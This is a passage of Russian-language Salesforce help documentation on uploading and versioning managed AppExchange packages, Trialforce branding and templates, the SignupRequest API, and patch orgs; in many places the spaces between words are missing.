каталога AppExchange.

6. Выполните указанные ниже действия на странице «Загрузить пакет».

a. Заполните поле «Имя версии». Рекомендуем использовать краткое описание и дату.

b. Заполните поле «Номер версии»  (например, 1.0). Формат выглядит следующим образом:
основной_номер.дополнительный_номер.

Прим.: При загрузке новой версии исправления номер исправления не может быть изменен.

Номерверсиисоответствуетвыпускупакета. Данноеполеявляетсяобязательнымдляуправляемыхинеуправляемых
пакетов. Номер версии управляемого пакета соответствует загрузке пакета «Управляемый — выпущенный». Все
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бета-загрузкииспользуютодинномер версии до загрузки версиипакета «Управляемый — выпущенный» с новым
номером.Например, ниже перечислены номера версий для серий загрузок.

ПримечанияНомер
версии

ТипПорядок
загрузки

Первая загрузка пакета «Управляемый — бета-версия».1.0Управляемый — бета-версияПервая
загрузка

Загрузкапакета «Управляемый — выпущенный». Обратите
внимание, что номер версии не меняется.

1.0Управляемый — выпущенныйВторая
загрузка

Обратите внимание на изменение дополнительного
номера для данной загрузки пакета
«Управляемый — выпущенный».

1.1Управляемый — выпущенныйТретья
загрузка

Первая загрузка пакета «Управляемый — бета-версия» с
номером 2.0. Обратите вниманиенаизменениеосновного
номера версии.

2.0Управляемый — бета-версияЧетвертая
загрузка

Загрузкапакета «Управляемый — выпущенный». Обратите
внимание, что номер версии не меняется.

2.0Управляемый — выпущенныйПятая
загрузка

c. Заполните поле «Тип выпуска» для управляемых пакетов.

• Чтобы загрузить обновляемую версию, выберите значение «Управляемый — выпущенный». Некоторые
атрибуты компонентов Salesforce блокируются после загрузки.

• Чтобы загрузить версию пакета, предназначенную для тестирования небольшой группой пользователей,
выберите значение «Управляемый — бета-версия». Данная версия пакета позволяет изменять компоненты и
загружать дополнительные бета-версии.

Прим.: Бета-пакеты могут быть установлены только в организациях Developer Edition или безопасных
организациях, поэтому не могут быть доставлены в клиентские организации.

d. При необходимости измените значение поля «Описание».

e. При необходимости укажите ссылку на примечания к выпуску для данного пакета. Щелкните «URL-адрес» и
заполнитеотображаемоетекстовоеполе. Даннаяссылкабудетотображатьсявовремяустановки, а такженастранице
сведений о пакете после установки.

Прим.: Чтобы предоставить клиентам преждевременный доступ к сведениям и разрешить их обновление
отдельно от пакета, убедитесь, что данной ссылке соответствует внешний URL-адрес.

f. Принеобходимостиукажите ссылкунаинструкциипопост-установкедля данногопакета. Щелкните «URL-адрес»
или «Страница Visualforce» и заполните отображаемое текстовое поле. Данная ссылка будет отображаться на
странице сведений о пакете после установки.

Прим.: Чтобы разрешить обновление сведений отдельно от пакета, убедитесь, что данной ссылке
соответствует внешний URL-адрес.

g. При необходимости введите и подтвердите пароль для доступа к пакету в частном порядке. Чтобы предоставить
общий доступ к пакету в каталоге AppExchange, пропустите данные поля.
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h. Система Salesforce автоматически выбирает обнаруженные ею требования. Чтобы уведомить установщиков обо
всех требованиях к данному пакету, выберите любые другие обязательные компоненты в разделах «Требования
к пакету» и «Требования к объекту».

i. Нажмите кнопку «Загрузить».

7. Ниже перечислены действия, доступные пользователям после загрузки.

• Чтобы изменить пароль, щелкните ссылку «Изменить пароль».

• Чтобы заблокировать будущие установки данного пакета, но разрешить использование текущих установок,
щелкните «Объявить нерекомендуемым».

Прим.: Самая последняя версия управляемого пакета не может быть объявлена нерекомендуемой.

Пакет, объявленный нерекомендуемым, должен быть удален из каталога AppExchange. См. раздел «Удаление
приложений из AppExchange» интерактивной справки AppExchange.

• Чтобы разрешить установку нерекомендуемой версии, щелкните «Отменить статус нерекомендуемого».

Ссылка на установку загруженного пакета отправляется пользователям по эл. почте.

Прим.:

• Прииспользовании URL-адреса установкипоумолчаниюотображается устаревшаяпрограммаустановки. Чтобы
настроить алгоритм установки, измените URL-адрес установки, предоставленный клиентам.

– Чтобы получить доступ к новой программе установки, дополните URL-адрес установки текстом &newui=1.

– Чтобыполучитьдоступкновойпрограммеустановки (приусловии, чтопараметр «Всепользователи» выбран
по умолчанию), дополните URL-адрес установки дополнительным текстом &p1=full.

• Если для загрузки пакета использовалась производственная организация Salesforce, уведомите сотрудников,
собирающихся установить пакет в безопасную организацию, о необходимости замены элемента URL-адреса
установки «login.salesforce.com» элементом «test.salesforce.com».

СМ. ТАКЖЕ:

Общие сведения о пакетах

Управление пакетами

Общие сведения о зависимостях

Управление версиями

Создание и загрузка исправлений

Публикация обновлений к управляемым пакетам

Публикация расширений к управляемым пакетам

Для чего нужен Trialforce?
Trialforce позволяет быстро подготавливать бесплатную пробную версию продукта. При каждой подготовке пробной
версии Trialforce создаетинтерес вприложении License Management App, предназначенномдляотслеживанияпоказателей
использования и преобразования потенциальных клиентов в реальных. Ниже перечислены действия, доступные при
использовании Trialforce.

• Проведение собственной маркетинговой кампании для увеличения количества клиентов и степени их внедрения.
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• Настройка продукта, включая фирменный стиль, функции, дизайн, данные и пробную версию.

• Централизованное управление пробными версиями для разных продуктов, версий и выпусков.

• Предоставление клиентам, включая пользователей, не являющихся администраторами, доступа для тестирования
приложения или компонента без входа в производственную среду.

Настройка настраиваемого фирменного стиля для Trialforce

Исходные организации Trialforce

Создание исходной организации Trialforce

Редактирование исходной организации Trialforce

Trialforce

Настройка настраиваемого фирменного стиля для Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления Trialforce:
• «Настройка

приложения»

Разработчики приложений, использующие Trialforce для создания пробных версий
продукта, могут дополнительно настроить фирменный сайт для входа и системные
сообщения эл. почты. Благодаряоформлениюданныхкомпонентов, фирменныйстиль
компании будет сопровождать пользователей приложения от регистрации до входа.
Настраиваемыйфирменный стиль не может применяться к CRM-приложениям, а также
приложениям, расширяющимфункциональные возможности Salesforce CRM и
требующим наличия стандартных объектов Salesforce (например, «Интересы»,
«Возможности» и «Обращения»).

Фирменная страница входа позволяет указывать домен и сайт для входа.

• Доменыдлявходаоканчиваютсярасширением .cloudforce.com, поэтомудомен
компании «moyakompaniya» будет выглядеть следующим образом:
moyakompaniya.cloudforce.com.

• Настраиваемыйсайтдлявходасодержитпользовательскийтекстилоготипкомпании,
также как и мобильные версии сайта.

Фирменные сообщения эл. почты позволяют задавать поля в генерируемых системой
сообщениях. Вэтомслучаесообщенияэл. почтыбудутсодержатьназваниекомпании, адресидругуюважнуюинформацию.
Для разных кампаний и клиентов могут быть созданы разные наборыфирменных сообщений эл. почты.

Прим.: Чтобынастроитьфирменный стиль, рекомендуем выполнить вход в организациюпо управлению Trialforce
(TMO). Чтобы получить доступ к организации по управлению Trialforce, зарегистрируйте обращение в партнерском
сообществе.

Фирменный сайт для входа Trialforce

Наборыфирменных сообщений эл. почты Trialforce
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Фирменный сайт для входа Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
фирменного стиля пакета:
• «Фирменный стиль

пакета»

Страница Trialforce «Фирменный сайт для входа» позволяет создавать, публиковать и
редактировать страницы входа, оформленные в соответствии с фирменным стилем
компании.

• Чтобы настроить сайт для входа, щелкните «Настроить сайт для входа».

• Чтобы предоставить общий доступ к настроенному сайту для входа, щелкните
«Опубликовать». Чтобывнестинужныеизменения, щелкните«Запуститьредактор
сайтов».

Домен сайта для входа Trialforce

Создание фирменной страницы входа

Редактор фирменного стиля входа Trialforce

Домен сайта для входа Trialforce

Выберитесубдомен, которыйдолжениспользоватьсяклиентамидлявходавприложение.
Обычно субдоменом является название компании.

1. Введите имя в соответствующее поле.

2. Щелкните «Проверить доступность».

3. Примите условия использования.

4. Нажмите кнопку «Сохранить и запустить редактор».

Создание фирменной страницы входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления Trialforce:
• «Настройка

приложения»

Как правило, клиенты выполняют вход в приложение посредством сайта
login.salesforce.com. Фирменная страница входа позволяет настраивать данный домен и
компоненты данной страницы входа в фирменном стиле компании. Настраиваемый
сайт для входа содержит пользовательский текст и логотип компании, также как и
мобильные версии сайта.

Чтобы создать фирменную страницу входа, выполните указанные ниже действия.

1. Выполните вход в организацию по управлению Trialforce.

2. Введите строку «Вход на сайт» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Вход на сайт».

3. Щелкните «Настроить сайт для входа».

4. Чтобы выбрать субдомен для сайта, введите имя в соответствующее поле. Обычно
субдоменом является название компании.

Прим.: Домены для входа оканчиваются расширением .cloudforce.com,
поэтомудоменкомпании «moyakompaniya» будетвыглядетьследующимобразом:
moyakompaniya.cloudforce.com.

5. Проверьте доступность домена и примите условия использования.

6. Нажмите кнопку «Сохранить и запустить редактор».
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7. Чтобы изменить оформление страницы входа, воспользуйтесь соответствующим редактором. Дополнительную
информацию об использовании редактора см. по ссылке «Справка для этой страницы».

8. Нажмите кнопку «Сохранить и закрыть».

9. Чтобыпредоставитьисходныморганизациям Trialforce доступкданнымизменениям, нажмитекнопку«Опубликовать».
В противном случае изменения сохраняются и могут быть опубликованы позже.

Редактор фирменного стиля входа Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления Trialforce:
• «Настройка

приложения»

Редактор фирменного стиля входа позволяет оформлять страницы входа.

1. Выполните вход в организацию по управлению Trialforce.

2. Введите строку «Вход на сайт» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Вход на сайт».

3. В верхней части редактора выберите вкладку, соответствующую нужному размеру
страницы входа: «Для рабочего стола» или «Для мобильных устройств».

4. Чтобы выбрать логотип компании для каждого размера экрана, поддерживаемого
приложением, разверните раздел «Верхний колонтитул страницы» на левой панели
и щелкните «Выбратьфайл».

5. Принеобходимости введите веб-адрес (например, адрес корпоративного веб-сайта)
в поле «Ссылкана логотип» > «Использоватьнастраиваемуюссылку». Данный
адресиспользуетсяпри выборе логотипа. URL-адрес долженначинаться с протокола
http:// или https://. Еслиданноеполеостанетсянезаполненным, тологотип
будет отображаться без ссылки.

6. Разверните раздел «Содержимое страницы» и вставьте URL-адрес подписки на пробную версию в поле «Ссылка для
подписки на пробную версию» > «Использовать настраиваемую ссылку». Данная ссылка будет доступна
потенциальнымклиентамдля отправки запросанаполучениебесплатнойпробнойверсии. Какправило, в подобных
случаях независимые поставщики ПО создают отдельную страницу входа.

7. Укажите URL-адреса для правой и нижней частей страницы. Если данные поля останутся незаполненными, то рамкам
присваиваются значения по умолчанию, используемые на странице входа Salesforce.

8. Разверните раздел нижнего колонтитула страницы и укажите название компании и цвет шрифта.

9. Разверните раздел фона страницы и выберите фоновое изображение и цвет.

10. Нажмите кнопку «Сохранить и закрыть» в верхней части страницы.

11. Щелкните «Предварительныйпросмотр»длянужногоразмера страницынастранице «Фирменныйсайтдля входа».
Убедитесь, что страница входа отображается корректно для всех страниц входа, поддерживаемых приложением.
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Наборы фирменных сообщений эл. почты Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
фирменного стиля пакета:
• «Фирменный стиль

пакета»

Благодаря фирменному стилю сообщений эл. почты Trialforce, генерируемые системой
сообщения могут выглядеть как сообщения, отправленные компанией пользователя, а
не компанией Salesforce. Фирменный стиль сообщений эл. почты Trialforce доступен
только тем пользователям, которые подписались на приложение посредством Trialforce.

Каждая исходная организация Trialforce поддерживает стандартный набор электронных
уведомлений, отправляемых клиентам. Например, клиенты получают электронные
уведомления при регистрации учетной записи или восстановлении пароля. Все
генерируемые системой сообщения редактируются автоматически. Единственное, что
требуетсяотпользователя, — указатьнеобходимые значения в соответствующихполях.

Редактирование набора фирменных сообщений эл. почты Trialforce

Редактирование набора фирменных сообщений эл. почты Trialforce

Чтобы создать набор сообщений, щелкните «Создать набор сообщений эл. почты».
Чтобы изменить текущий набор сообщений, щелкните «Правка».

1. Заполните поля сведениями о компании.

2. Выберите разные типы созданных сообщений эл. почты в области «Предварительный просмотр сообщений эл.
почты» и убедитесь в их корректном отображении.

3. Нажмите кнопку «Сохранить».

4. Чтобы предоставить исходным организациям Trialforce доступ к данным сообщениям эл. почты, нажмите кнопку
«Опубликовать». В противном случае изменения сохраняются и могут быть опубликованы позже.

Исходные организации Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

Страница «Исходныеорганизации Trialforce» позволяет создаватьисходныеорганизации
Trialforce и управлять ими.

• Чтобы создать исходную организацию, нажмите кнопку «Создать».

• Чтобы воспользоваться текущей исходной организацией, нажмите кнопку «Вход».

• Чтобы изменить текущую исходную организацию, нажмите кнопку «Правка».
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Создание исходной организации Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
фирменного стиля пакета:
• «Фирменный стиль

пакета»

Чтобы создать исходную организацию, выполните указанные ниже действия.

1. Введите новое имя пользователя и адрес эл. почты для учетной записи
администратора.

2. Введите имя исходной организации и выберите фирменный стиль.

3. Нажмите кнопку «Создать».

Редактирование исходной организации Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
фирменного стиля пакета:
• «Фирменный стиль

пакета»

Чтобыизменитьисходнуюорганизацию Trialforce, выполните указанныенижедействия.

1. Введите имя исходной организации и выберите фирменный стиль.

2. Нажмите кнопку «Сохранить».
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Trialforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
фирменного стиля пакета:
• «Фирменный стиль

пакета»

Чтобы создать шаблон Trialforce, выполните указанные ниже действия.

1. Нажмите кнопку «Создатьшаблон Trialforce».

2. Введите описание шаблона и укажите необходимость добавления данных во
всплывающем диалоговом окне.

3. Нажмите кнопку «Сохранить».

Созданный код организации для нового шаблона отправляется пользователю по эл.
почте. Прежде чем использовать шаблон для регистрации пробных организаций,
отправьте его на проверку. Помните, что каждое обновление исходной организации
Trialforce должно сопровождаться созданием нового шаблона.

Прим.: Шаблон Trialforce может быть создан, только если размер исходной
организации Trialforce не превышает 256 МБ.

Каждому шаблону Trialforce присваивается один из указанных ниже статусов.

Выполняется
Данный статус всегда отображается при созданиишаблона Trialforce. Позже данный
статус заменяется статусом «Успех» или «Ошибка».

Успех
Шаблон Trialforce может использоваться для создания пробных организаций.

Ошибка
Шаблон Trialforce недоступен для использования и требует отладки.

Удалено
Шаблон Trialforce больше недоступен для использования. Удаленные шаблоны удаляются во время обновления
системы.

Создание регистраций посредством API

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для созданияилипросмотра
запросов на регистрацию:
• «API запросов на

регистрацию»

Пробные организации для потенциальных клиентов могут быть созданы посредством
вызовов API для объекта SignupRequest. При создании пробных организаций (или
регистраций) посредством веб-формы система не позволяет настраивать процесс
регистрации или отслеживать его статус. Посредством интерфейса API, пользователи
могут собирать и анализировать подробные сведения обо всех регистрациях,
выполненныхбизнес-организацией. Данные действияпозволяютрасширить контроль
над процессом регистрации и доступность сведений о потенциальных клиентах.
Например, ниже перечислены доступные действия.

• Выполнениеотчетовисборпоказателей (например, количестворегистрацийза день
или количество регистраций в разных странах).

• Настройка объекта SignupRequest для добавления специализированных полей.

• Создание триггеров для инициирования конкретных действий (например, отправка электронного уведомления) при
отправке нового запроса на регистрацию.

• Включениерегистрацийпосредствомразныхклиентскихприложенийиустройств, обеспечивающихдополнительные
каналы привлечения клиентов.

Чтобы начать создание регистраций посредством API, выполните указанные ниже действия.
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1. Создайте исходную организацию Trialforce посредством организации по управлению Trialforce.

2. Установите приложение и любые полезные тестовые данные в исходную организацию Trialforce.

3. Настройте исходную организацию Trialforce, включая выбор любого настраиваемого фирменного стиля.

4. Создайте шаблон Trialforce посредством исходной организации Trialforce.

5. Чтобы активировать даннуюфункцию, сохраните обращение.

a. Выполните вход в партнерское сообщество.

b. Щелкните «Создать обращение» на вкладке «Поддержка».

c. Выберите категорию «AppExchange и запросыфункций» > «Trialforce».

d. Введите указанные ниже сведения в поле «Описание».

• код исходной организации Trialforce

• код шаблона Trialforce

• организация, которая должна использоваться для создания регистраций (для включения соответствующего
полномочия пользователя)

Прим.: Несмотряна возможность созданиярегистрацийвлюбыхорганизациях (приналичиисоответствующих
полномочий), рекомендуем использовать бизнес-организацию. Данные по регистрациям могут быть позже
интегрированы в текущие бизнес-процессы. Например, создайте бизнес-правило, преобразующее каждый
запрос на регистрацию в интерес, или выполните отчеты, предназначенные для отслеживания количества
регистраций за выбранный период времени.

Уведомление об утверждениишаблона будет отправлено пользователю по эл. почте. Утвержденныйшаблон может
использоваться для создания регистраций посредством вызовов API для объекта SignupRequest. Дополнительную
информацию об объекте SignupRequest и пример соответствующего кода см. ниже. Дополнительную информацию об
использовании объектов см. в документе Object Reference for Salesforce and Force.com.

Начальная страница запросов на регистрацию

Создание запроса на регистрацию

Просмотр сведений о запросе на регистрацию

Начальная страница запросов на регистрацию

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для созданияилипросмотра
запросов на регистрацию:
• «API запросов на

регистрацию»

Прим.: Количество регистраций ограничено — 20 в день. Если требуются
дополнительные регистрации, зарегистрируйте обращение в Partner Community.

При выборе вкладки «Запросы на регистрацию» отображается начальная страница
запросов на регистрацию. Нижеперечисленыдействия, доступные на странице списка.

• Создание новой регистрации. Проверка утверждения шаблона Trialforce при его
использовании для создания регистрации.

• Просмотр сведенийпредыдущейрегистрации, включая архиви статус утверждения.

• Создание новых представлений для отображения заданных критериев соответствия
регистраций.
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Создание запроса на регистрацию

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для созданияилипросмотра
запросов на регистрацию:
• «API запросов на

регистрацию»

1. Выберите пункт «Запрос на регистрацию» в раскрывающемся списке «Создать...»
на боковой панели или нажмите кнопку «Создать» в разделе «Недавние запросы
на регистрацию» на начальной странице запросов на регистрацию.

2. Введите необходимые сведения.

3. По завершении нажмите кнопку «Сохранить». Чтобы сохранить текущий запрос
на регистрацию и добавить новый, нажмите кнопку «Сохранить и создать».

Просмотр сведений о запросе на регистрацию

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для созданияилипросмотра
запросов на регистрацию:
• «API запросов на

регистрацию»

Нижеперечисленыдействия, доступныенастраницесведенийозапросенарегистрацию.

• Чтобы удалить запрос на регистрацию, нажмите кнопку «Удалить».

• Чтобы клонировать запрос на регистрацию, нажмите кнопку «Клонировать».

Ниже перечислены разделы, доступные на странице сведений.

• Сведения о запросе на регистрацию

• Журнал запроса на регистрацию

Сведения о запросе на регистрацию
Ниже перечислены атрибуты, отображаемые в данном разделе.

ОписаниеАтрибут

Название компании, запрашивающей пробную регистрацию.Компания

Двухбуквенный код страны ISO-3166. Полный список данных кодов доступен на разных
сайтах. Например: www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/list-en1.html

Страна

15-значный код созданной пробной организации. Данное поле доступно только для
чтения и заполняется системой при обработке запроса на регистрацию.

Созданная организация

Адрес эл. почты пользователя-администратора для пробной регистрации.Эл. почта

Кодошибки, возвращаемыйнеудачнымзапросомнарегистрацию. Данноеполедоступно
только для чтения и заполняется системой в целях поддержки.

Код ошибки

Личное имя пользователя-администратора для пробной регистрации.Личное имя

Фамилия пользователя-администратора для пробной регистрации.Фамилия

Шаблон Salesforce, используемый для создания пробной организации. Возможные
варианты: Consulting, Group, Partner Group, Professional, Partner

Версия

Professional, Enterprise, Partner Enterprise, Partner Developer и
Developer.

Языксоздаваемойпробнойорганизации. Укажитеязыкспомощьюкодаязыка, указанного
в списке полностью поддерживаемых языков в разделе справки Salesforce «Какие языки

Предпочитаемый язык

поддерживает Salesforce?». Например, чтобы использовать китайский упрощенный язык,
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ОписаниеАтрибут

введите zh_CN. Введенное значение заменяет установленныйлокальюязык. Еслиуказан
недопустимый язык, организация использует язык по умолчанию — английский.

Заполняется во время подачи запроса и предназначено только для внутреннего
использования системой Salesforce.

Если установлено значение «true», пробная организация подключается к рабочему
центру. Регистрация должна выполняться в основной организации центра или лучевой
организации.

ShouldConnectToEnvHub

15-значный код исходной организации Trialforce, использованной для созданияшаблона
Trialforce.

Исходная организация

Статус запроса. Возможные значения: «Новое», «Выполняется», «Ошибка» и «Успех».
Значение по умолчанию: «Новое».

Статус

15-значный код утвержденного шаблона Trialforce, используемого для пробной
регистрации. Шаблон является обязательным и должен быть утвержден компанией
Salesforce.

Шаблон

Описание утвержденного шаблона Trialforce, используемого для пробной регистрации.Описание шаблона

Продолжительность пробной регистрации (в днях). Данное значение должно
соответствовать или не превышать срока действия пробной версии для утвержденного

Срок действия пробной
версии (дни)

шаблона Trialforce. Еслизначениеотсутствует, тоданноеполепоумолчаниюзаполняется
продолжительностью пробной регистрации, заданной для шаблона Trialforce.

Имя пользователя, используемое пользователем-администратором для пробной
регистрации. Данное значение должно соответствовать схеме присвоения адресов,
описанной в следующем документе: www.w3.org/Protocols/rfc822/#z10

Имя пользователя

Журнал запроса на регистрацию
Данныйраздел содержит дату создания запроса на регистрацию, автора запроса и действия, выполненные над запросом.
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Публикация расширений к управляемым пакетам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Расширение — это любойпакет, компонентилинабор компонентов, которыйрасширяет
функциональные возможности управляемого пакета. Расширение требует наличия
основногоуправляемогопакетаворганизации. Например, расширениекразработанному
приложению по подбору кадров может содержать компонент по проверке
биографических данных соискателей.

Сообщество разработчиков, пользователей и авторов, создающих и публикующих
приложенияв каталог Force.com AppExchange, — этоодинизфакторов, обеспечивающих
широкиевозможностиплатформыForce.com. Данноесообществоможетиспользоваться
для разработки расширений к собственным и чужим приложениям.

Чтобы опубликовать расширения к управляемому пакету, выполните указанные ниже
действия.

1. Установитеосновнойпакет ворганизациюSalesforce, котораядолжнаиспользоваться
для загрузки расширения.

2. Создайте компоненты расширения.

Прим.: Чтобы создать расширение, установите основной пакет и добавьте
зависимость от основного пакета в собственный пакет. Атрибут расширения
активируется автоматически.

3. Создайтепакетидобавьтекомпонентырасширения. СистемаSalesforce автоматически
добавляет некоторые связанные компоненты.

4. Загрузите новый пакет, содержащий компоненты расширения.

5. Опубликуйте пакет как обычно. Дополнительную информацию о создании тестовой версии или регистрации и
публикации приложения см. на веб-сайте http://sites.force.com/appexchange/publisherHome.

Прим.: Пакетам, используемым той же организацией в качестве расширения, не может быть назначен статус
«Управляемый — бета-версия».

СМ. ТАКЖЕ:

Подготовка приложений к распространению

Общие сведения о зависимостях

Управление версиями

Публикация обновлений к управляемым пакетам
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Публикация обновлений к управляемым пакетам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
разработчика:
• «Настройка

приложения»

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Чтобы проверить доступность приложения для обновления, издатель должен
преобразовать приложение в управляемый пакет. Любые изменения, внесенные в
компоненты управляемого пакета, автоматически добавляются в последующие версии
пакета, кроме одного исключения. При обновлении пакета пропускаются любые
изменения, внесенные в API-доступ, даже те, которые заданы разработчиком. Данный
алгоритм обеспечивает администратору полный контроль над устанавливаемым
обновлением. Установщики должны внимательно проверять внесенные изменения во
время установки каждого обновления пакета и отмечать все допустимые изменения.
После установки обновления любые допустимые пропущенные изменения должны
быть применены администратором вручную. Дополнительную информацию см. в
разделе «Общиесведенияодоступепосредством API идинамическогокода Apex впакетах»
на странице 5974.

Чтобы опубликовать обновления к управляемому пакету, выполните указанные ниже
действия.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Выберите пакет из списка совпадений.

3. Просмотрите список компонентов пакета. Изменения, внесенные в компоненты
данногопакета, добавляютсяв список автоматически. Дополнительныекомпоненты,
используемые изменениями, также добавляются автоматически. Чтобы вручную
добавить новые компоненты в пакет, нажмите кнопку «Добавить».

4. Нажмите кнопку «Загрузить» и выполните загрузку как обычно.

Прим.: Чтобы запретить установку устаревшей версии после загрузки новой
версии пакета со статусом «Управляемый — выпущенный», нажмите кнопку
«Объявить нерекомендуемым». Данное действие заблокирует возможность
установкипредыдущих версийбез влиянияна текущие установленные версии.
Дополнительную информацию см. в разделе «Управление версиями» на
странице 6015.

Самаяпоследняя версия загрузкиуправляемогопакетанеможетбытьобъявлена
нерекомендуемой.

5. При получении сообщения эл. почты, содержащего ссылку на каталог Force.com AppExchange, уведомите
соответствующих пользователей о наличии новой версии. Чтобы распространить данную информацию,
воспользуйтесьспискомпользователейизприложениядляуправлениялицензиями (LMA). Приложениедляуправления
лицензиями (LMA) автоматически запоминает номера версий, установленных в организациях.

СМ. ТАКЖЕ:

Подготовка приложений к распространению

Общие сведения о зависимостях

Управление версиями

Создание и загрузка исправлений

Публикация расширений к управляемым пакетам
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Управление версиями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Пакет, загруженный в каталог AppExchange, может управляться из системы Salesforce.
Чтобы управлять версиями, выполните указанные ниже действия.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Выберите пакет, содержащий загруженное приложение или компоненты.

3. Выберите номер версии на вкладке «Версии».

• Чтобы изменить пароль, щелкните ссылку «Изменить пароль».

• Чтобы заблокировать будущие установки данного пакета, но разрешить
использование текущих установок, щелкните «Объявитьнерекомендуемым».

Прим.: Самая последняя версия управляемого пакета не может быть
объявлена нерекомендуемой.

Пакет, объявленный нерекомендуемым, должен быть удален из каталога
AppExchange. См. раздел «Удаление приложений из каталога AppExchange»
интерактивной справки AppExchange.

• Чтобы разрешить установку нерекомендуемой версии, щелкните «Отменить
статус нерекомендуемого».

Прим.: Чтобыпроверить или выбрать организациюпо управлениюлицензиями (LMO) для выполненной загрузки,
нажмите кнопку «Перейти к AppExchange» на странице сведений о загрузке пакетов.

СМ. ТАКЖЕ:

Подготовка приложений к распространению

Общие сведения о зависимостях

Создание и загрузка исправлений

Публикация обновлений к управляемым пакетам

Публикация расширений к управляемым пакетам

Советы по безопасности при разработке Apex и Visualforce
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Создание и загрузка исправлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активной доставки
обновления или создания
организации по разработке
исправления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Версии исправления разрабатываются и хранятся посредством организации по
разработке исправления.При необходимости просмотрите раздел «Рекомендации по
работе с активной доставкой обновлений и версиями исправлений» на странице 6023.

Чтобы создать версию исправления, выполните указанные ниже действия.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Щелкните имя нужного управляемого пакета.

3. Откройте вкладку «Организация исправления» и нажмите кнопку «Создать».

4. Выберитенужнуюверсиюпакетавраскрывающемсясписке «Исправлениеосновного
выпуска». Пакету должен быть назначен статус «Управляемый — выпущенный».

5. Заполните поле «Имя пользователя» регистрационными данными для входа в
организацию исправления.

6. Заполните поле «Адрес эл. почты» связанным адресом.

7. Нажмите кнопку «Сохранить».

Прим.: Чтобы восстановить регистрационные данные, необходимые для входа в организацию по разработке
исправления, нажмите кнопку «Сбросить» в связанном списке «Организации по разработке исправления» на
странице сведений о пакете.

Чтобы начать разработку версии исправления, щелкните «Вход» в полученном электронном уведомлении от системы
Salesforce о создании организации по разработке исправления.

Организация по разработке исправления поддерживает ограниченную разработку. Ниже перечислены полезные
рекомендации.

• Новые компоненты пакета не могут быть добавлены.

• Текущие компоненты пакета не могут быть удалены.

• Элементы управления доступом посредством API и динамического кода Apex не могут быть изменены для пакета.

• Код Apex не может быть объявлен нерекомендуемым.

• Новые взаимосвязи классов Apex (например, extends) не могут быть добавлены.

• Новые модификаторы доступа Apex (например, virtual или global) не могут быть добавлены.

• Новые веб-службы не могут быть добавлены.

• Новые зависимости компонента не могут быть добавлены.

Ниже перечислены действия, которые должны быть выполнены после разработки исправления.

1. Введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пакеты».

2. Щелкните имя нужного пакета.

3. Нажмите кнопку «Загрузить» на странице «Загрузить пакет».

4. Заполните поле «Имя версии». Рекомендуем использовать краткое описание и дату.

5. Обратите внимание, что поле «Номер версии» отображает увеличенный номер_исправления.
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6. Заполните поле «Тип выпуска» для управляемых пакетов.

